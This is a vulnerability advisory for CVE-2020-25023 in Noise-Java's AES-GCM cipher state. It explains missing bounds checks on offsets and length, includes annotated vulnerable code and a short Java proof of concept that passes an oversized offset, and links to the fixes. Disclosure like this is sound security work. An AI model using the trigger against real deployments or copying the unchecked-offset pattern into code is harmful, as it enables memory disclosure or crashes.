Author: Pietro Oliva
CVE: CVE-2020-25023
Vendor: Rhys Weatherley (Creator of Noise Framework's reference implementation in Java)
Product: Noise-Java
Affected version: No version information is currently available.
Fixed version: Check latest commit and pull request
Description:
The issue is located in the AESGCMOnCtrCipherState.encryptWithAd()
method
defined in AESGCMOnCtrCipherState.java, where multiple boundary
checks are
performed to prevent invalid length or offsets from being specified
for the
encrypt or copy operation. However, some checks were found to be
either
incomplete or missing, which would likely lead to the following
scenarios:
- Out-of-bounds read or write with huge plaintextOffset, negative
cipertextOffset,
or negative length (Depending on the underlying JVM's
validation).
- Exception thrown by the JVM instead of Noise-Java throwing
ShortBufferException
Impact:
Further checks might be implemented in the JVM and an exception
might be thrown
before attempting any operation with invalid arguments.
If that is not the case, OOB read/write or a silent return on
invalid arguments
might occur. This could in turn lead to arbitrary code execution in
the context
of the JVM, memory disclosure, denial of service, or data loss.
Proof of concept:
Depending on the JVM, running the following code will result in
either OOB read
(see CVE-2020-17360 in Avian JVM) or exception being thrown by the
JVM:
package com.southernstorm.noise.protocol;
public class poc {
public static void main(String[] args) {
byte[] plaintext = "This is my plaintext".getBytes();
byte[] ciphertext = new byte[plaintext.length];
CipherState cs = new AESGCMOnCtrCipherState();
// Passing a large plaintextOffset should result in a
ShortBufferException
// instead of relying on the JMV's implementation of
System.arraycopy.
try {
cs.encryptWithAd(null, plaintext, 0x7fffffff, ciphertext, 0,
1);
}
catch(Exception e){
System.out.println("An exception has been thrown: " + e);
}
}
}
Evidence:
public int encryptWithAd(byte[] ad, byte[] plaintext, int
plaintextOffset,
byte[] ciphertext, int ciphertextOffset, int length)
throws ShortBufferException {
int space;
if (ciphertextOffset > ciphertext.length) // BUG:
ciphertextOffset could be negative,
// bypassing this length check
space = 0;
else
space = ciphertext.length - ciphertextOffset;
// BUG: a negative ciphertextOffset would increase the space
instead of decreasing it
if (keySpec == null) {
if (length > space) // BUG: this check can be bypassed with
negative ciphertextOffset
throw new ShortBufferException();
if (plaintext != ciphertext || plaintextOffset !=
ciphertextOffset)
/* Multiple issues here:
1. plaintextOffset is never checked. Depending on the JVM's
implementation,
This could result in OOB read in arraycopy (see CVE-2020-17360 for
Avian JVM) or
exception being thrown.
2. ciphertextOffset could be negative, bypassing the checks on the
length.
Depending on the JVM, this could result in OOB read/write or
exception being thrown.
3. If the length is negative, depending on the JVM, arraycopy could
result in OOB
read/write, exception being thrown, or silent return (e.g.
CVE-2020-17360 in Avian) */
System.arraycopy(plaintext, plaintextOffset, ciphertext,
ciphertextOffset, length);
return length;
}
if (space < 16 || length > (space - 16)) // BUG: this can be
bypassed with negative length
throw new ShortBufferException();
try {
setup(ad);
/* Multiple issues here as well:
1. plaintextOffset is never checked. this could result in an
exception being thrown
by the JVM.
2. ciphertextOffset could be negative, bypassing the checks on the
length.
Depending on the JVM, this could result in OOB write in arraycopy
or exception being thrown.
3. length could be negative. Depending on the JVM, this could
result in OOB write in arraycopy
or exception being thrown. */
int result = cipher.update(plaintext, plaintextOffset, length,
ciphertext, ciphertextOffset);
cipher.doFinal(ciphertext, ciphertextOffset + result);
} catch (InvalidKeyException e) {
// Shouldn't happen.
throw new IllegalStateException(e);
} catch (InvalidAlgorithmParameterException e) {
// Shouldn't happen.
throw new IllegalStateException(e);
} catch (IllegalBlockSizeException e) {
// Shouldn't happen.
throw new IllegalStateException(e);
} catch (BadPaddingException e) {
// Shouldn't happen.
throw new IllegalStateException(e);
}
ghash.update(ciphertext, ciphertextOffset, length);
ghash.pad(ad != null ? ad.length : 0, length);
ghash.finish(ciphertext, ciphertextOffset + length, 16);
for (int index = 0; index < 16; ++index)
ciphertext[ciphertextOffset + length + index] ^=
hashKey[index];
return length + 16;
}
As can be seen in the above code, multiple boundary checks are
either missing
or incomplete, allowing for invalid length or offsets to be passed
to the JVM's
implementation of System.arraycopy or other methods that handle
encryption.
Depending on the JVM in use and how the missing/incomplete checks
are exploited,
this could result in either OOB read/write, silent return, or
exception thrown
by the underlying JVM. OOB read/write could result in
memory/secrets disclosure,
arbitrary code execution in the context of the JVM, or crash.
Mitigating factors:
Unless the JVM has some vulnerability on its own (such as
CVE-2020-17360 and
CVE-2020-17361 in Avian JVM), this vulnerability would likely
result in an
unhandled exception being thrown and/or crash of the JVM
process.
Remediation:
The fixes for this vulnerability can be found below:
https://github.com/rweather/noise-java/commit/18e86b6f8bea7326934109aa9ffa705ebf4bde90
https://github.com/rweather/noise-java/pull/12/files
Disclosure timeline:
28th Aug 2020 - Vulnerability reported to vendor.
29th Aug 2020 - Patch committed by vendor.
2nd Sept 2020 - Improvement for this patch provided by
vulnerability reporter.
2nd Sept 2020 - Vulnerability details are made public.
